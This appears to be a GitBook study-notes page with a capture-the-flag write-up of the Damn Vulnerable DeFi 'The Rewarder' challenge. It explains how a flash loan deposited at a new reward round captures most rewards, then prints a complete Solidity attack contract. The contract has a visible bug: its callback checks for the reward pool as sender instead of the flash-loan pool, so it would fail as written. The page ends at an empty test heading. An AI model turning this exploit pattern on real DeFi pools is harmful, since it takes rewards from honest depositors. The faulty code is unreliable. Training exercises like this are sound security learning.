Smart Contract Development
  • Introduction
    • What is a Transaction
    • Accounts and Signing
    • What is a smart contract
  • Learning Solidity
    • Introduction
    • Module 1
      • Variable Types
      • Variable Scope: State & Local variables
      • Global variables
      • Functions
        • View and Pure
        • Shadowing in Fuctions
      • Mapping
      • Require
      • Events
    • Project #1: Simple Registry
    • Module 2
      • Constructor
      • Data Location: Value & Reference
      • Interface
      • Import
        • Importing in Foundry
      • Inheritance
      • ERC-20
      • Checks-effect-interaction pattern
    • Project #2: Basic Vault
    • Module 3
      • Payable
      • Receive
      • Fallback
      • Returns
    • Project #3: ERC20+ETH Wrapper
    • Module 4
      • Immutable and Constant
      • Fixed-point Math
      • Abstract contracts
      • ERC-4626
      • Modifier + Inheritance +Ownable
      • Type
    • Project #4: Fractional Wrapper
    • Module 5
      • If-else
      • Libraries
        • TransferHelper
      • Chainlink Oracle
    • Project #5: Collateralized Vault
  • Compendium
    • Solidity Basics
      • Variable Types
      • Value Types
        • address
        • enum
      • Reference Types
        • strings
        • mappings
        • struct
        • Arrays
        • Multi-Dimensional arrays
      • Global Objects
      • Functions
        • Function types
        • Constructor Function
        • Transaction vs Call
        • Require, Revert, Assert
      • Function signature + selectors
      • Payable
        • Payable + withdraw
        • msg.value & payable functions
      • Receive
      • Fallback function (sol v 0.8)
        • Fallback function (sol v 0.6)
      • call, staticcall, delegatecall
    • Return & Events
    • Control Variable Visibility
    • Local Variables (Storage v Memory)
    • Data Location and Assignment Behaviors
    • Modifiers & Inheritance & Import
      • import styles
    • Interface & Abstract Contracts
    • ABI & Debugging
    • Libraries
    • Conditional(ternary) operators
    • Smart Contract Life-cycle
      • Pausing Smart Contracts
      • Destroying Smart Contracts
    • Merkle Trie and MPT
    • Merkle Tree Airdrop
  • Try & catch
  • Ethereum Signatures
  • EVM, Storage, Opcodes
    • EVM
    • Wei, Ether, Gas
    • Storage
    • ByteCode and Opcodes
    • Transaction costs & Execution costs
  • Reading txn input data
  • Data Representation
  • Yul
    • Yul
      • Intro
      • Basic operations
      • Storage Slots
      • Storage of Arrays and Mappings
      • Memory Operations
      • Memory: how solidity uses memory
      • Memory: Return, Require, Tuples and Keccak256
      • Memory: Logs and Events
      • Inter-contract calls
      • calldata
      • free memory pointer
    • Yul Exercises
      • read state variable
      • read mapping
      • iterate Array, Return Sum
    • memory-safe
  • Upgradable Contracts
    • Upgradability & Proxies
    • UUPS Example
    • Minimal Proxy Example
    • TPP Example
    • 🚧Diamond
      • On Storage
  • Gas Opt
    • Block Limit
    • gasLimit & min cost
    • Solidity Optimiser
    • Memory v calldata
    • Memory caching vs direct storage vs pointers
    • < vs <=
    • reverting early
    • X && Y, ||
    • constant and immutable
    • caching sload into mload
    • Syntactic Sugar
    • using unchecked w/o require
    • Compact Strings
    • Calling a view function
    • Custom errors over require
    • usage of this.
      • multiple address(this)
  • ERCs & EIPs
    • ERC-20.sol
      • Core functions
      • transfer()
      • transferFrom()
      • TLDR transfer vs transferFrom
    • Landing
      • ERC721.sol
      • EIP-721
        • LooksRare
        • Page 1
      • ERC-1271
      • EIP-2981
      • ERC-165
      • EIP-1167: Minimal Proxy Contract
    • VRFConsumerBase
    • UniswapV2Library
  • Yield Mentorship 2022
    • Projects
      • #1 Simple Registry
      • #2 Basic Vault
      • #3 ERC20+ETH Wrapper
        • setFailTransferTrue
      • #4 Fractional Wrapper
      • #5 Collateralized Vault
        • Process
        • Vault.sol
        • Testing
        • Chainlink Oracles
        • Pricing + Decimal scaling
        • Refactor for Simplicity
      • #9 Flash Loan Vault
        • Implementing ERC3156
        • Full code for lender
        • Ex-rate calculation
    • State Inheritance Testing
    • Testing w/ Mocks
    • Yield Style Guide
    • Github Actions
    • TransferHelper.sol
    • math logic + internal fn
    • Interfaces: IERC20
  • Foundry
    • Overview
    • Importing Contracts
    • Testing
      • stdError.arithmeticError
      • assume vs bound
      • Traces
      • label & console2
      • std-storage
  • Smart Contract Security
    • Damn Vulnerable Defi
      • 1. Unstoppable
      • 2. Naive receiver
      • 3. Truster
      • 4. Side Entrance
      • 5. The Rewarder
      • 6. Selfie
      • 7. Compromised
      • 8. Puppet
      • 9. Puppet V2
      • 10 - Free Rider
    • Merkle Tree: shortened proof attack
  • Fixed-Point Math
    • AMM Math
  • Solidity Patterns
    • checks-effects-interactions pattern
    • Router // batch
    • claimDelegate: stack unique owners
    • claimDelegate: cache previous user
  • Array: dup/ascending check
  • Deployment
    • Behind the Scenes
    • Interacting with External Contracts
    • Logging, Events, Solidity, Bloom Filter
  • Misc
    • Mnemonic Phrases
    • Bidul Ideas
  • Archive
    • Brownie Framework
      • Brownie basics
        • storing wallets in .env
        • Deployment to ganache
        • Interacting with contract
        • Unit Testing
        • Testnet deployment
        • Interacting w/ deployed contract
        • Brownie console
      • Brownie Advanced
        • Dependencies: import contracts
        • helpful_scripts.py
        • verify and publish
        • Forking and Mocking
        • Mocking
        • Forking
      • Testing
      • Scripts Framework
        • deploy.py
        • get_accounts
        • deploy_mocks()
        • fund_with_<token>()
      • Brownie Networks
    • Brownie Projects
      • SharedWallet
        • Multiple Beneficiaries
        • Common Code Contract
        • Adding Events
        • Renounce Ownership
        • Separate Files
      • Supply Chain
        • ItemManager()
        • Adding Events
        • Adding unique address to each item
      • Lottery
      • Aave - Lending and Borrowing
        • Approve & Deposit
        • Borrow
      • NFT
      • Advanced Collectible
        • adv_deploy() + Testing
        • Create Metadata
        • Setting the TokenURI
    • node npm
    • Ganache
    • Truffle
    • Remix
    • Installing Env
Powered by GitBook
On this page
  • Objective
  • Approach
  • Solution
  • Test Exploit()
  1. Smart Contract Security
  2. Damn Vulnerable Defi

5. The Rewarder

https://www.damnvulnerabledefi.xyz/challenges/the-rewarder/

Previous4. Side EntranceNext6. Selfie

Last updated 2 years ago

Objective

  • There’s a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.

  • Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!

  • You don’t have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.

  • By the way, rumours say a new pool has just launched. Isn’t it offering flash loans of DVT tokens?

Approach

Let us examine the deposit() on Rewards Pool contract.

  • mints accounting tokens in a 1:1 ratio against the DVT tokens deposited

  • calls distributeRewards()

distributeRewards()

  • checks if its time for a new round of rewards distribution: isNewRewardsRound()

    • rewards are distributed in 5 day intervals from the lastRecordedSnapshotTimestamp

  • if it is indeed time for a new rewards round, _recordSnapshot() is executed

    • increments lastSnapshotIdForRewards

    • updates the timestamp on lastRecordedSnapshotTimestamp

    • increments roundNumber

  • checks current totalDeposits and amountDeposited by the uer

    • if both are non-zero positive values, calculate rewards earned by user

    • rewards awarded are based on the percentage of contribution

    • if rewards > 0, mint reward tokens to the user, and record the timestamp into the mapping lastRewardTimestamps

Attack vector

  • take a flash loan from the flashpool,

  • deposit into rewards pool during an eligible rewards round

  • return flash loan

The weakness is that the rewarderPool does not check for how long a deposit has been held within it, to allocate rewards. It simply calculates rewards as a function of size, disregarding time.

Solution

create a new contract for the attack:

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;

import {TheRewarderPool} from "../../../src/Contracts/the-rewarder/TheRewarderPool.sol";
import {DamnValuableToken} from "../DamnValuableToken.sol";
import {FlashLoanerPool} from "../../../src/Contracts/the-rewarder/FlashLoanerPool.sol";
import {RewardToken} from "./RewardToken.sol";

contract Attack {
    
    TheRewarderPool public rewarderPool;
    DamnValuableToken public dvt;
    FlashLoanerPool public flashPool;
    RewardToken public rewardToken;
    address public owner;

    constructor(TheRewarderPool rewarderPool_, DamnValuableToken dvt_, FlashLoanerPool flashPool_,RewardToken rewardToken_){
        rewarderPool = rewarderPool_;
        dvt = dvt_;
        flashPool = flashPool_;
        rewardToken = rewardToken_;
        owner = msg.sender;
    }

    ///@notice take the largest possible flashloan
    function attack() external {
        require(owner == msg.sender, "only owner");

        uint256 dvtAvailable = dvt.balanceOf(address(flashPool));
        flashPool.flashLoan(dvtAvailable);
    }


    ///@notice done on new round of rewards
    function receiveFlashLoan(uint256 amount) external {
        require(address(rewarderPool) == msg.sender, "only flashPool");

        dvt.approve(address(rewarderPool), amount);
        rewarderPool.deposit(amount);

        // return borrowed tokens to flashPool
        rewarderPool.withdraw(amount);
        bool success = dvt.transfer(address(flashPool), amount);
        require(success, "fLoan not returned");

        // transfer reward tokens to attacker wallet
        uint256 rewards = rewardToken.balanceOf(address(this));
        bool sent = rewardToken.transfer(owner, rewards);
        require(sent, "rewards not sent");
    }
}

Test Exploit()